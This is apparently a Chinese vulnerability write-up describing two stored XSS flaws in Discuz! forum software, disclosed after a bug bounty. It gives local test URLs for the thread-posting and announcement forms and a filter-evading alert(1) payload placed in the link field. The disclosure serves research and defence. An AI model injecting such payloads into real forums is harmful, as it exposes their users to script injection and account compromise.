挖洞技巧Discuz!两处存储型XSS漏洞

Posted 2021-04-29 白帽100安全攻防实验室

前阵子的漏洞，理论上是全系列，先知奖励完了，现在估计修复了吧，现在放出来提供一下小小的思路，看本文之前建议看一下这篇 

这个漏洞相当于是基于上文内容实战的，鸡肋，轻喷

 
   
   
 

  
    
    
  
第一处
  
    
    
  
发帖：

http://127.0.0.1:9090/forum.php?mod=post&action=newthread&fid=2

在添加链接的框处插入xss payload：
  
    
    
  


  
    
    
  
'></script "/*'/*><img/src=x */; onerror=alert(1) //

  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  
点提交：
  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  
第二处，需要一个有发公告权限的帐号，发公告：

http://127.0.0.1:9090/forum.php?mod=modcp&action=announcement&fid=2
  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  
也是在链接框处插入payload，提交链接的时候因为系统自带编码原因，要重新输入payload
  
    
    
  


  
    
    
  
点添加公告，然后访问公告：
  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  

  
    
    
  


  
    
    
  


 
   
   
 
以上是关于挖洞技巧Discuz!两处存储型XSS漏洞的主要内容，如果未能解决你的问题，请参考以下文章
 
 漏洞分享Discuz存储型xss
 挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问
 挖洞技巧
 白帽子挖漏洞日记之指定型XSS
 挖洞经验 | 记一次有关参数指定型XSS的故事
 挖洞经验 | Facebook CDN服务器的XSS漏洞